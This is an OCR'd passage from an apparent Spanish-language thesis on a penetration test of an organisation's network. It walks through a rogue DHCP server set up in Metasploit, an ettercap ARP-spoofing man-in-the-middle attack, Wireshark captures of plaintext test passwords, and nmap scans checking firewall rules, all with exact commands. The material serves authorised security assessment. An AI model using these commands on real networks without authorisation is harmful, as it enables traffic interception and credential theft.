Figura 48. Interfaces de red luego de crear una subinterfaz

El comando para habilitar enrutamiento (ip forward) en el sistema operativo Linux es:

|# echo 1 > /proc/sys/net/ipv4/ip forward

Con estas configuraciones se logré hacer que la maquina atacante reenvie al gateway legitimo todos los
paquetes que va a recibir de la maquina victima.

El siguiente paso es, mediante el servidor DHCP no autorizado, ofrecer a los clientes que soliciten
direccionamiento por DHCP la IP 10.0.203.3 como gatewy por defecto. El software Metasploit tiene un
maddulo para hacer este tipo de ataques y a continuacion se describe la forma de hacerlo:

El software Metasploit se ejecuta mediante el siguiente comando:

|# msfconsole

La pantalla de inicio de Metasploit de puede ver en la Figura 49.
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ing with

Figura 49. Pantalla inicial de Metasploit

Para ingresar al modulo de DHCP estando en el CLI de Metasploit el comando es el siguiente:

|msf > auxiliary/server/dhcp

Al gjecutar el comando de ayuda puede verse cuales son los parametros a configurar en este médulo como
puede visualizarse en la Figura 50.

use auxiliary/server/dhcp
auxiliary | - show options

(auxiliary

Mame Current Setting
BROADCAST 12 broadcast address to send to
DHCPIFEMD 12 last IP to give out
DHCPIPST ART first IP to give out

DMNS server IP address
IOMAT NMAME 10 optional domain name to assign
FILENAME 10 1e optional filename of a tftp boot ser
HOSTMAME 10 1e optional hostname to assign
HOSTSTART 10 optional host integer counter
NET MASH yes netmask of the local subnet
ROUTER router IP address
SRVHOST e IP of the DHCF

Figura 50. Ayuda del médulo DHCP de Metasploit

Usando los datos en la Tabla 17 se aplican los parametros necesarios para configurar el servidor DHCP
no autorizado.
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Tabla 17. Pardmetros para configurar un rogue DHCP con Metasploit

Parédmetro Valor a | Explicacion
colocar

DHCPIPEND 10.0.203.241 Ultima IP del rango a entregar por el servidor DHCP

DHCPIPSTART | 10.0.203.223 Primera IP del rango a entregar por el servidor DHCP

DNSSERVER 8.8.8.8 Servidor DNS a entregar por el servidor DHCP. Esta servidor puede
ser también uno bajo el control del atacante

SRVHOST 10.0.203.9 La IP del servidor DHCP no autorizado. En este caso es la misma
que la de la maquina atacante

NETMASK 255.255.255.0 | Mascara de subred de la red donde esta la victima

ROUTER 10.0.203.3 El gateway por defecto a entregar por el servidor DHCP. En este

caso es la IP de la subinterfaz creada previamente

Los comandos para ejecutar el servidor DHCP no autorizado se muestran en la Figura 51.

msf > use auxiliary/server/dhcp

msf auxiliary(dhcp) > set DHCPIPEND 10.0.203.241
DHCPIPEND => 10.0.203.241

msf auxiliary(dhcp) > set DHCPIPSTART 10.0.203.223
DHCPIPSTART => 10.0.203.223

msf auxiliary(dhcp) > set DNSSERVER 8.8.8.8
DNSSERVER => 8.8.8.8

msf auxiliary(dhcp) > set SRVHOST 10.0.203.9
SRVHOST => 10.0.203.9

msf auxiliary(dhcp) > set NETMASK 255.255.255.0
NETMASK => 255.255.255.0

msf auxiliary(dhcp) > set ROUTER 10.0.203.3
ROUTER => 10.0.203.3

msf auxiliary(dhcp) > run

[*] Auxiliary module execution completed

[*] Starting DHCP server...

Figura 51. Comandos Metasploit para hacer un rogué DHCP

En este punto ya se tiene ejecutando el servidor DHCP no autorizado. Al ejecutar una captura de paquetes
filtrando por trafico DHCP desde la maquina atacante se observa que esta recibiendo todo tipo de trafico
DHCP que viaja por la red. Parte de esta captura de paquetes es lo que se muestra en la Figura 52 siendo
los paquetes mas relevantes los DHCP Discover que se reciben ya que de estos es que se aprovecha el
servidor no autorizado para ofrecer direcciones.
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Fllter:l bootp | v | Expression... Clear Apply Save

No. Time Source Destination Protocol Length Info
78 14.74990800 0.0.0.0 255.255.255.255 DHCP 392 | DHCP Discover |- Transaction ID @xf8e2f75¢~

.80969100 . . . 392 DHCP Discover - Transaction

96 18.66021800 "ENNES.201.65 255.255.255.255 DHCP 346 DHCP Inform - Transaction ID Sx?a?efad\
184 18.86974400 0.0.0.0 255.255.255.255 DHCP 392 — Transaction ID SfoEZf?Si-
123 21.786533600 0.0.0.0 255.255.255.255 DHCP 342 DHCP Request - Transaction ID @xf6ff88s:
124 21.78732200 SEweEe.203.1 192.168.2083.253 DHCP 382 DHCP ACK - Transaction ID Oxf6ff885:
171 24.37525400 TSNS 201,42 255.255.255.255 DHCP 346 DHCP Inform - Transaction ID B@x6b5499at
338 46.69170500 WHEENNES201.77 255.255.255.255 DHCP 346 DHCP Inform - Transaction ID 0x58089e4al
617 82.97376200 0.0.0.0 255.255.255.255 DHCP 392 [DHCP Discover| - Transaction TD 0x5527ec6
629 83.81096300 TENENIER20]1.48 255.255.255.255 DHCP 391 DHCP Request - Transaction ID 8x4ae3564t
638 83.81185300 == 01.1 255.255.255.255 DHCP 351 DHCP ACK - Transaction ID Sxdae3564lv

<@ )™ T oo T T g

» Frame 83: 392 bytes on wire (3136 bits), 392 bytes captured (3136 bits) on interface 0 E

» Ethernet II, Src: Grandstr_29:f8:4f (00:0b:82:29:f8:4f), Dst: Broadcast (ff:ff:ff:ff:ff:ff)

» Internet Protocol Version 4, Src: 0.0.0.0 (0.8.0.8), Dst: 255.255.255.255 (255.255.255.255)

» User Datagram Protocol, Src Port: 68 (68), Dst Port: 67 (67) L

» Bootstrap Protocol (Discover) v

Figura 52. Captura de trafico DHCP que llega a la maquina atacante

Una manera de aumentar la probabilidad de éxito del servidor DHCP no autorizado es agotando primero
el pool de direcciones IP del servidor DHCP legitimo mediante un ataque DHCP Starvation. En la prueba
de DHCP Starvation del punto anterior quedd en evidencia que la configuracién actual no es vulnerable a
ese ataque ya que hay una configuracion que solo entrega direcciones IP a los equipos registrados con una
asociacion MAC-IP, por tanto, cuando se trata de ejecutar el ataque rogue dhcp usando como victima a
equipos registrados en el servidor DHCP legitimo dicho ataque no tiene éxito.

No pasa lo mismo cuando se trata de usar como victima a un equipo que previamente no esta registrado
en el servidor DHCP legitimo, en este caso el servidor legitimo no le entrega ninguna IP por lo que es el
DHCP no autorizado quien hace esta tarea. Al conectar una victima (no registrada) a la red y esta solicita
una direccion IP mediante el protocolo DHCP obtiene los valores que se ven en la Figura 53.

Los comandos CLI para renovar una direccion mediante DHCP son los siguientes:

# dhclient -r
# dhclient ethO

En la misma Figura 53 se observa que el gateway por defecto que recibié la maquina victima es
10.0.203.3 y la direccion IP asignada es 10.203.225. Ambos valores estan reflejados en la Tabla 17 como
valores que el DHCP no autorizado debe entregar a la victima para conveniencia del atacante, situacion
que es la que se evidencia aqui.
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Informacion de la conexion x

Conexiones de red activas

dhep todo (predeterminada)

General

Interfaz: Ethernet (eth2)
Direccion hardware:  6C:62:6D:33:21:ED
Controlador: r8169

Velocidad: 1000 Mb/s
Seguridad: Ninguna

IPv4

Direccidn IP:

Direccidn de difusion: nkeeies?(03.255
Méscara de subred: |255.255.255.0
Ruta predeterminada;: |dasiieie®® 203 .3

DNNS primario: 8.8.88

IPve

¥ Cerrar

Figura 53. Informacién de la conexion de red de la victima

Al hacer un sniffing usando Wireshark en la maquina atacante para capturar trafico sin cifrar se logré
capturar una clave enviada desde la victima (10.0.203.225) hacia uno de los activos a proteger
(10.0.200.26) ya que, por el ataque realizado, todo el trafico que la victima envia pasa primero por la
maquina del atacante (Man-in-the-middle). Esto se ve en la Figura 54.
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N [ Wl = Q @ o EE = = ) 7] @@|E|

Filter:| http.request.method=="POST" Expression... Clear Apply Save

Protocol Length Info

No . Time

715 [TCP Retransmission] POST /autentilcacion.php/]

Ethernet II, Src: Micro-St_33:21:ed (6c:62:6d:33:21:ed), Dst: Elitegro_71:68:47 (cB:9c:dc:71:68:47)
Internet Protocol Version 4, Src: G 203,225 (NS -03.225), Dst: GEEEEEEzoo0.zc (OUEED. 200, 25)
Transmission Control Protocol, Src Port: 32850 (32850), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 649
Hypertext Transfer Protocol

HTML Form URL Encoded: application/x-www-Tform-urlencoded

i v - =

» [Form item: "textnombre" = "usuario" [
» [Form 1tem: "textpasswd" = "tesis"

» Form 1tem: "selectemp" = "014"

» Form item: "commit" = "login"

Figura 54. Captura de contrasefia usando Wireshark

Resultado obtenido: En base a la evidencia recolectada puede decirse que la red es vulnerable a ataques
DHCP Rogue.

e) ARP Spoofing

Intencidn: La intencidn de este ataque es envenenar la caché ARP de la victima con el fin de que el
trafico dirigido al gateway por defecto se envie en realidad a la maquina atacante y capturar entonces
informacidn sensible sin cifrar. Es un ataque MITM.

Resultado esperado: Un ambiente con switches bien configurados no deberia permitir que un ataque
MITM (Man-in-the-middle) usando la técnica del envenenamiento de chache ARP tenga éxito.

Desarrollo de la prueba:
Para ejecutar este ataque se esta partiendo de los datos que se muestran en la Tabla 18.

Tabla 18. Datos de los participantes antes del ARP Spoofing

MAC Reales Direccion IP | Rol Sistema Operativo
€8:9c:dc:71:68:47 | 10.0.203.9 Atacante Kali Linux
00:17:a4:3a:d8:fa | 10.0.203.1 Gateway legitimo | Pfsense
c8:9c:dc:71:9h:8d | 10.0.203.8 Victima Canaima

El comando para ver la tabla ARP en una maquina Linux es el siguiente:

[# arp A.B.C.D -v
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Al ejecutar este comando en la maquina victima antes del ataque para consultar la MAC en su tabla local
para el gateway legitimo 10.0.203.1 el resultado es el de la Figura 55. Puede notarse que en este momento
la tabla ARP de la victima contiene una entrada legitima para la MAC del gateway segun los datos de la
Tabla 18.

# arp bR 203
Hwtype wWaddr . Flags Masl
—.‘t|'|—.|' - : i

Skipped: 1 Found:

Figura 55. Parte de la tabla ARP de la victima

Para ejecutar un ataque MITM mediante ARP Spoofing se siguen los pasos a continuacion.

Paso 1. Desde la maquina atacante se ejecuta el comando ettercap via CLI con los siguientes parametros:

# ettercap -T -q -i eth0 -M arp:remote /10.0.203.1// /10.0.203.8//

Al ejecutar ettercap en la maquina atacante la pantalla es la de la Figura 56.

ettercap 0.8.2 copyright 2001-201E ctercap Development Team

Listening o
etho -

= on' script in the et
1t not worl i .| ) wB/conf fethO/use
s dropped to 3

ecified, not starting up!

Scanning for merged targets (2 hosts)

Figura 56. Pantalla de Ettercap en la méquina atacante

Luego de ejecutar el ataque se vuelve a consultar la tabla ARP local de la maquina victima y se puede
notar en la Figura 57 que el ataque de inyeccién ARP fue exitoso ya que la ARP asociada con la IP del
gateway por defecto ahora es la de la maquina atacante (ver Tabla 18).
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b# arp @
ether 00:17: &
. :|i||_f-|:ll Found: 1

ey arp hEeieiie 203

Ht| 2 Hwaddress
] ether CE s o
Skipped: 1 (18] aLs
[ S

Figura 57. Tabla ARP de la victima luego del ataque

En este punto el ataque MITM ha sido exitoso y todo el trafico que envie la victima hacia el gateway por
defecto pasara primero por el atacante. En la Figura 58 se observa como, luego de hacer el ataque, es
posible capturar contrasefias que viajen sin cifrar entre la victima (10.0.203.8) y un servidor (10.0.200.26)
usando un sniffer desde la maquina atacante.

Filter:  http.request.method == "POST" Expression... Clear Apply Save

o. T1ime Source Protocol Length Info

614 [TCP Retransmission] POST |

» Frame 53762: 614 bytes on wire (4912 bits), 614 bytes captured (4912 bits) on interface 0
v Ethernet II, Src: Elitegro_71:9b:8d (c8:9c:dc:71:9b:8d), Dst: Elitegro_71:68:47 (c8:9c:dc:71:68:47)
» Internet Protocol Version 4, Src: b 203,28 (sSSekii 203.8), Dst: i, 200, 26 (bl 200, 26)
¢ Transmission Control Protocol, Src Port: 45115 (45115), Dst Port: 80 (80), Seq: 1, Ack: 1, Len: 548
» Hypertext Transfer Protocol
* HTML Form URL Encoded: application/x-www-form-urlencoded

» Form 1tem: "textnombre" = "usuarioprueba"

» Form 1tem: "textpasswd" = "tesis"

b Form 1tem: "selectemp" = "OL4"

» Form 1tem: "commit" = "Login"

Figura 58. Captura de contrasefia usando Wireshark

Resultado obtenido: En base a la evidencia recolectada puede decirse que la red es vulnerable a ataques
MITM que se hacen usando la técnica ARP Spoofing.
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Pruebas a Router

Las pruebas técnicas que se ejecutan en este tipo de proyectos para evaluar seguridad en routers se
orientan a verificar la seguridad de los protocolos de enrutamiento dindmicos que se estén utilizando.
Como en la organizacién objetivo actualmente no se esta haciendo uso de protocolos de enrutamiento
dindmico, no fue necesario realizar pruebas técnicas al router.

Pruebas a Firewall

Consiste en la prueba de las reglas de firewall para comparar contra la politica de la organizacion. Probar
las reglas del firewall es el proceso de validar la configuracion de las reglas enviando paquetes de prueba
y analizando la respuesta del firewall [17]. El objetivo es comprobar que solo los puertos y servicios
aprobados son visibles.

Para poder realizar pruebas a las reglas del firewall es necesario tener un punto de referencia contra el que
comparar, por lo general, este punto de referencia son las politicas de acceso de la organizacién. En la
organizacion objeto del presente estudio no se contaba con estas politicas razon por la cual se
desarrollaron de acuerdo a los requerimientos de la misma y se pueden consultar en los Anexos Ay B del
presente trabajo.

Para la prueba de la politica de firewall Nmap es la herramienta apropiada para realizar la validacion
técnica de las reglas del firewall. El flujo de los paquetes que se transmiten a través del firewall para
probarlo puede ir desde un segmento X cualquiera de la red a otro segmento Y para evaluar la respuesta.
Para el contexto del presente trabajo interesa evaluar solo las reglas que filtran los siguientes flujos de
trafico (ver Figura 59):

e Reglas que filtran el trafico desde Internet hacia los servidores de la organizacion.
e Reglas que filtran el trafico desde la Red Interna hacia los servidores de la organizacion.

Internet

Red de

Red Interna .
Servidores

Figura 59. Flujo de las pruebas al firewall

En el capitulo 3 se definié que los activos que se quieren proteger para el contexto de este proyecto son
los que se muestran en la Tabla 19. Adicionalmente se incluyen columnas con los puertos que deberian
ser visibles desde el punto de vista de los usuarios regulares (sin privilegios especiales) segun la politica.
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Tabla 19. Detalle de Activos (Servidores) a proteger con Politicas de Firewall

Nombre Visible Direccion IP Direccion Puertos Puertos Permitidos
Interna IP Permitidos desde Internet
Externa desde Red
Interna
(Usuarios sin
Privilegios)
DNS Interno | 10.0.200.14/24 | A.B.C.85 | TCP: 53 (DNS) | TCP: 53 (DNS)
y UDP: 53 (DNS) | UDP: 53 (DNS)
Externo
Pagina Web | Interno | 10.0.200.130/24 | A.B.C.85 | TCP: 80 | TCP: 80 (HTTPS),
Institucional y (HTTP), 443 | 443 (HTTPS)
Externo (HTTPS)
Intranet Interno | 10.0.200.12/24 | A.B.C.85 | TCP: 80 | TCP: 1000 (HTTP)
y (HTTPS)
Externo
Tienda Online Interno | 10.0.200.18/24 | A.B.C.83 TCP: 80 | TCP: 80 (HTTP),
y (HTTP), 443 | 443 (HTTPS)
Externo (HTTPS)
Correo Interno | 10.0.200.141/24 | A.B.C.82 TCP: 443 | TCP: 443 (HTTPS),
Institucional y (HTTPS) 587
Externo (SUBMISSION),
993 (IMAPS)
LDAP Interno | 10.0.200.4/24 NA TCP: 137 — 139 | NA
(NBT), 389
(LDAP), 636
(LDAPS), 445
(SMB)
UDP: 137 — 139
(NBT), 389
(LDAP), 636
(LDAPS)
Almacenamiento | Interno | 10.0.200.13/24 NA TCP: 137 — 139 | NA
Compartido (NBT), 445
(SMB)
UDP: 137 — 139
(NBT)
ERP Interno 10.0.200.26/24 NA TCP: 80 | NA
(HTTP)

En la Tabla 19 puede notarse que hay 5 servidores que prestan servicios en Internet asociados a 3
direcciones IP externas, por tanto, escanear 3 direcciones IP permitird saber los puertos visibles hacia
Internet de 5 servidores.
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Prueba a las reglas del firewall en sentido Internet — Servicios Publicos

A continuacion, el escaneo TCP a los 65535 puertos de cada una de las 3 direcciones IPs accesibles
desde Internet que permiten alcanzar servidores publicos de la organizacion. El resultado del escaneo se
muestra de forma individual para cada direccion IP.

Servicios de Pagina Web, DNS Publico, Intranet (ver Figura 60).
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# nmap -sS -sV -p 1-65535 -Pn A.B.C.85
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-16 13:41 VET
Nmap scan report for A.B.C.85

Host is up, received user-set (0.19s latency).

Scanned at 2015-11-16 13:41:43 VET for 3033s

Not shown: 65505 filtered ports

Reason: 65486 no-responses and 19 host-unreaches

PORT STATE SERVICE REASON

VERSION

21/tcp open ftp syn-ack ttl 57

vsftpd 2.0.8 or later

53/tcp open domain syn-ack ttl 57

ISC BIND hostmaster

80/tcp open http syn-ack ttl 57
mydomain.gob.ve

443/tcp open ssl/https syn—-ack ttl 57
mydomain.gob.ve

1000/tcp open http syn-ack ttl 57

Apache httpd

1001/tcp open http syn-ack ttl 57

Apache httpd

1002/tcp open http syn-ack ttl 57

Apache httpd

6060/tcp open tcpwrapped syn-ack from W.X.Y.Z ttl 121
8001/tcp open tcpwrapped syn-ack ttl 121

8002/tcp closed teradataordbms reset ttl 121

8003/tcp open tcpwrapped syn-ack ttl 121

8004 /tcp open unknown host-unreach from W.X.Y.Z ttl 58
8005/tcp open tcpwrapped syn-ack ttl 121

8006/tcp open tcpwrapped syn-ack ttl 121

8008/tcp open tcpwrapped syn-ack ttl 121

8010/tcp open Xmpp ? Syn-ack from W.X.Y.Z ttl 121
8013/tcp open tcpwrapped syn-ack ttl 121

8016/tcp open unknown syn-ack from W.X.Y.Z ttl 121
8022/tcp open tcpwrapped syn-ack from W.X.Y.Z ttl 121
8023/tcp open unknown host-unreach from W.X.Y.Z ttl 58
8025/tcp closed ca-audit-da reset ttl 121

8026/tcp open tcpwrapped syn-ack ttl 121

8029/tcp closed unknown reset ttl 121

8030/tcp open unknown syn-ack ttl 121

8031/tcp closed unknown reset ttl 121

8033/tcp closed unknown reset from W.X.Y.Z ttl 121
8034/tcp closed unknown host-unreach from W.X.Y.Z ttl 58
8035/tcp closed unknown reset ttl 121

8036/tcp closed unknown reset ttl 121

8039/tcp open tcpwrapped syn-ack ttl 121

Figura 60. Escaneo de puerto TCP de la los servicios Pagina Web, DNS Publico, Intranet
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Servicio de Tienda Online (ver Figura 61).

# nmap -sS -sV -p 1-65535 -Pn A.B.C.83

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-11-17 07:08 VET
Nmap scan report for A.B.C.83

Host is up, received user-set (0.063s latency).

Scanned at 2015-11-17 07:08:31 VET for 439s

Not shown: 65533 filtered ports

Reason: 65533 no-responses

PORT STATE SERVICE REASON VERSION

80/tcp open http syn—-ack ttl 57 Apache httpd

443/tcp open ssl/http syn-ack ttl 57 Apache httpd

Figura 61. Escaneo de puertos TCP a servidor de Tienda Online

Servicio de Correo Electronico (ver Figura 62).

#nmap -sS -sV -p 1-65535 -Pn A.B.C.82

Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-11-16 14:41 VET
Nmap scan report for mail.mydomain.gob.ve (A.B.C.82)

Host is up, received user-set (0.32s latency).

Scanned at 2015-11-16 14:42:00 VET for 2214s

Not shown: 65532 filtered ports

Reason: 65532 no-responses

PORT STATE SERVICE REASON VERSTION
443/tcp open ssl/http syn-ack ttl 57 Zimbra http config
587/tcp open smtp syn—-ack ttl 57 Postfix smtpd

993/tcp open ssl/imap syn-ack ttl 57 Zimbra imapd
Service Info: Host: mail.mydomain.gob.ve

Figura 62. Escaneo de puertos TCP a servidor de correo electronico

A continuacion, el escaneo de los 1000 puertos UDP mas usuales a cada una de las 3 direcciones IPs
accesibles desde Internet. El resultado del escaneo de los 1000 puertos UDP mas usuales hacia las 3
direcciones Ips que publican en Internet se mostrara de forma individual por cada direccién IP.

Servicios de Pagina Web, DNS Publico, Intranet (ver Figura 63).

# nmap -sU -sC -top-ports 1000 -Pn A.B.C.85

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-11-17 14:25 VET
Nmap scan report for A.B.C.85

Host is up, received user-set (0.12s latency).

Scanned at 2015-11-17 14:25:54 VET for 392s

Not shown: 998 open|filtered ports

Reason: 998 no-responses

PORT STATE SERVICE REASON

53/udp open domain udp-response ttl 57

8001 /udp filtered vcom-tunnel host-unreach from W.X.Y.Z ttl 58

Figura 63. Escaneo de puertos UDP a servicios Pagina Web, DNS Publico, Intranet
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Servicio de Tienda Online (ver Figura 64).

# nmap -sU -sC -top-ports 1000 -Pn A.B.C.83

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-17 14:38 VET
Nmap scan report for A.B.C.83

Host is up, received user-set.

All 1000 scanned ports on A.B.C.83 are open|filtered because of 1000
no-responses

Figura 64. Escaneo de puertos UDP a servidor de Tienda Online

Servicio de Correo Electrénico (ver Figura 65)

# nmap -sU -sC -top-ports 1000 -Pn A.B.C.82

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-17 14:52 VET
Nmap scan report for mail.mydomain.gob.ve (A.B.C.82)

Host is up, received user-set.

All 1000 scanned ports on mail.mydomain.gob.ve (A.B.C.82) are
open|filtered because of 1000 no-responses

Figura 65. Escaneo de puertos UDP a servidor de Correo

Al tabular todos los datos recolectados durante los escaneos TCP y UDP se obtiene la Tabla 20 que
compara el resultado del escaneo de puertos desde Internet contra la politica de la organizacion.
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Tabla 20. Resultados del escaneo de puertos TCP y UDP desde Internet

Direccion |  Servicios Puertos Puertos Abiertos | Observacion | Recomendacion
IP Permitidos Detectados
Segun Politica
A.B.C.85 | DNS, Web | TCP: 53 (DNS), | TCP: 21 (FTP), | Se observan | Mantener  esta
Institucional, | 80 (HTTP), 443 | 53 (DNS), 80 | puertos abiertos | configuracion
Intranet (HTTPS), 1000 | (HTTP), 443 | que no estan en
(HTTP) (HTTPS), 1000 | la politica, estos
UDP: 53 (DNS) | (HTTP), 1001, | puertos
1002, 6060, 8001 | actualmente se
- 8039 usan para
UDP: 53 (DNS) servicios que no
estan fueran del
alcance del
presente trabajo
y que la
institucion
requiere
A.B.C.83 | Tienda TCP: 80 | TCP: 80 (HTTP), | Los puertos | Mantener  esta
Online (HTTP), 443 | 443 (HTTPS) visibles son los | configuracién
(HTTPS) permitidos por
la politica
A.B.C.82 | Correo TCP: 443 | TCP: 443 | Los puertos | Mantener  esta
Institucional | (HTTPS), 587 | (HTTPS), 587 | visibles son los | configuracién
(SUBMISSION), | (SUBMISSION), | permitidos por
993 (IMAPS) 993 (IMAPS) la politica

Prueba a las reglas del firewall en sentido Red Interna - Red de Servidores

Una vez evaluadas las reglas del firewall desde redes externas (Internet), el siguiente paso es evaluar las
reglas desde la parte interna de la red. Es fundamental para este trabajo evaluar el estado actual de las
reglas del firewall que filtran las conexiones desde la Red Interna (la de los usuarios) hacia la Red de
Servidores de la organizacion.

A continuacion, el escaneo TCP a todos los 65535 puertos de cada servidor desde la Red Interna hacia la
Red de Servidores. El resultado del escaneo TCP con Nmap hacia cada uno de los activos a proteger se
muestra de forma individual a continuacion.
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Servidor DNS (ver Figura 66).

# nmap -sS -sV -p 1-65535 10.0.200.14

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-17 15:47 VET
Nmap scan report for dnsO0l.mydomain.gob.ve (10.0.200.14)

Host is up, received echo-reply ttl 63 (0.0035s latency).

Scanned at 2015-11-17 15:47:22 VET for 19s

Not shown: 65530 closed ports

Reason: 65530 resets

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 63 OpenSSH 6.6.1pl Debian
4~pbpo70+1 (protocol 2.0)

53/tcp open domain syn—ack ttl 63 ISC BIND hostmaster

111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
443/tcp open ssl/http syn-ack ttl 63 MiniServ 1.770 (Webmin httpd)
46236/tcp open status syn-ack ttl 63 1 (RPC #100024)

Figura 66. Escaneo de puertos TCP a servidor DNS

Servidor de Pagina Web Institucional (ver Figura 67).

# nmap -sS -sV -p 1-65535 10.0.200.130

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-17 15:49 VET
Nmap scan report for matrix09.mydomain.gob.ve (10.0.200.130)

Host is up, received echo-reply ttl 63 (0.00071ls latency).

Scanned at 2015-11-17 15:49:36 VET for 136s

Not shown: 65532 filtered ports

Reason: 65532 no-responses

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 63 OpenSSH 6.0pl (protocol 2.0)
80/tcp open ssl/http syn-ack ttl 63 mydomain.gob.ve

443/tcp closed https reset ttl 63

Figura 67. Escaneo de puertos TCP a servidor de Web Institucional

Servidor de Intranet (ver Figura 68).

# nmap -sS -sV -p 1-65535 10.0.200.12

Starting Nmap 6.49BETA5 ( https://nmap.org ) at 2015-11-17 15:53 VET
Nmap scan report for matrix0l.mydomain.gob.ve (10.0.200.12)

Host is up, received reset ttl 63 (0.0016s latency).

Scanned at 2015-11-17 15:53:38 VET for 18s

Not shown: 65529 closed ports

Reason: 65529 resets

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 63 OpenSSH 6.0pl (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd

81/tcp open http syn-ack ttl 63 Apache httpd

111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)

5432/tcp open postgresgl syn-ack ttl 63 PostgreSQL DB (Spanish)
36117/tcp open status syn-ack ttl 63 1 (RPC #100024)

Figura 68. Escaneo de puertos TCP a servidor de Intranet
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Servidor de Tienda Virtual (ver Figura 69).

# nmap -sS -sV -p 1-65535 10.0.200.18

Starting Nmap 6.49BETA5 ( https://nmap.
Nmap scan report for matrixl2.mydomain.
Host is up, received echo-reply ttl 63
Scanned at 2015-11-17 15:55:28 VET for
Not shown: 65532 filtered ports

org ) at 2015-11-17 15:55 VET
gob.ve (10.0.200.18)
(0.00058s latency).

149s

Reason: 65390 no-responses and 142 host-prohibiteds

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn—ack ttl 63 OpenSSH 6.4 (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd

443/tcp open ssl/http syn-ack ttl 63 Apache httpd

Figura 69. Escaneo de puertos TCP a servidor de Tienda Virtual

Servidor de Correo Institucional (ver Figura 70).

# nmap -sS -sV -p 1-65535 10.0.200.141

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-17 15:58 VET

Nmap scan report for 10.0.200.141

Host is up, received echo-reply ttl 63
Scanned at 2015-11-17 15:58:34 VET for
Not shown: 65527 filtered ports

(0.00059s latency).
174s

Reason: 65383 no-responses and 144 host-prohibiteds

PORT STATE SERVICE REASON

22/tcp open ssh syn—-ack ttl
25/tcp open smtp syn-ack ttl
53/tcp closed domain reset ttl 63
443/tcp open ssl/http syn-ack ttl
587/tcp open smtp syn-ack ttl

993/tcp open ssl/imap syn-ack ttl
1984 /tcp closed bigbrother reset ttl 63
7071/tcp open ssl/http syn-ack ttl

VERSION
63 OpenSSH 5.3 (protocol 2.0)
63 Postfix smtpd

63 Zimbra http config
63 Postfix smtpd
63 Zimbra imapd

63 Zimbra admin http config

Figura 70. Escaneo de puertos TCP a servidor de Correo Institucional
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Servidor LDAP (ver Figura 71).

# nmap -sS -sV -p 1-65535 10.0.200.4

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2016-01-09 18:27 VET
Nmap scan report for conanOl.mydomain.gob.ve (10.0.200.4)

Host is up, received echo-reply ttl 63 (0.0043s latency).

Scanned at 2016-01-09 18:27:59 VET for 143s

Not shown: 65525 closed ports

Reason: 65525 resets

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 63 OpenSSH 6.0pl (protocol
2.0)

80/tcp open http syn-ack ttl 63 Apache httpd

111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)

139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X (workgroup:
VE)

389/tcp open ldap syn-ack ttl 63 OpenlLDAP 2.2.X - 2.3.X
443/tcp open http syn-ack ttl 63 Apache httpd

445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X (workgroup:
VE)

636/tcp open ssl/ldap syn-ack ttl 63 OpenlLDAP 2.2.X - 2.3.X
1984/tcp open bigbrother? syn-ack ttl 63
37224/tcp open status syn-ack ttl 63 1 (RPC #100024)

Figura 71. Escaneo de puertos TCP a servidor LDAP
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Servidor de Almacenamiento (ver Figura 72)

# nmap -sS -sV -p 1-65535 10.0.200.13

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-17 16:02 VET
Nmap scan report for rockyO03.mydomain.gob.ve (10.0.200.13)

Host is up, received echo-reply ttl 63 (0.0033s latency).

Scanned at 2015-11-17 16:02:12 VET for 146s

Not shown: 65523 closed ports

Reason: 65523 resets

PORT STATE SERVICE REASON VERSION

22/tcp open ssh syn-ack ttl 63 OpenSSH 5.5pl Debian 6
(protocol 2.0)

80/tcp open http syn—-ack ttl 63 Apache httpd 2.2.16

( (Debian))

111/tcp open rpcbind syn-ack ttl 63 2 (RPC #100000)

139/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X (workgroup:
DOMAIN)

443/tcp open ssl/http syn-ack ttl 63 MiniServ 1.770 (Webmin
httpd)

445/tcp open netbios-ssn syn-ack ttl 63 Samba smbd 3.X (workgroup:
DOMAIN)

700/tcp open rquotad syn-ack ttl 63 1-2 (RPC #100011)

1984/tcp open bigbrother? syn-ack ttl 63

2049/tcp open nfs syn-ack ttl 63 2-4 (RPC #100003)

45154 /tcp open status syn-ack ttl 63 1 (RPC #100024)

48905/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)

55331 /tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
Figura 72. Escaneo de puertos TCP a servidor de Almacenamiento

Servidor ERP (ver Figura 73).

# nmap -sS -sV -p 1-65535 10.0.200.26

Starting Nmap 6.49BETAS5 ( https://nmap.org ) at 2015-11-18 08:34 VET
Nmap scan report for matrix03.mydomain.gob.ve (10.0.200.26)

Host is up, received echo-reply ttl 63 (0.0019s latency).

Scanned at 2015-11-18 08:34:03 VET for 18s

Not shown: 65531 closed ports

Reason: 65531 resets

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 5.5pl (protocol 2.0)
80/tcp open http syn-ack ttl 63 Apache httpd 2.2.16 ((Debian))

111/tcp open rpcbind syn-ack ttl 63 2 (RPC #100000)
47420/tcp open status syn-ack ttl 63 1 (RPC #100024)

Figura 73. Escaneo de puertos TCP a servidor ERP

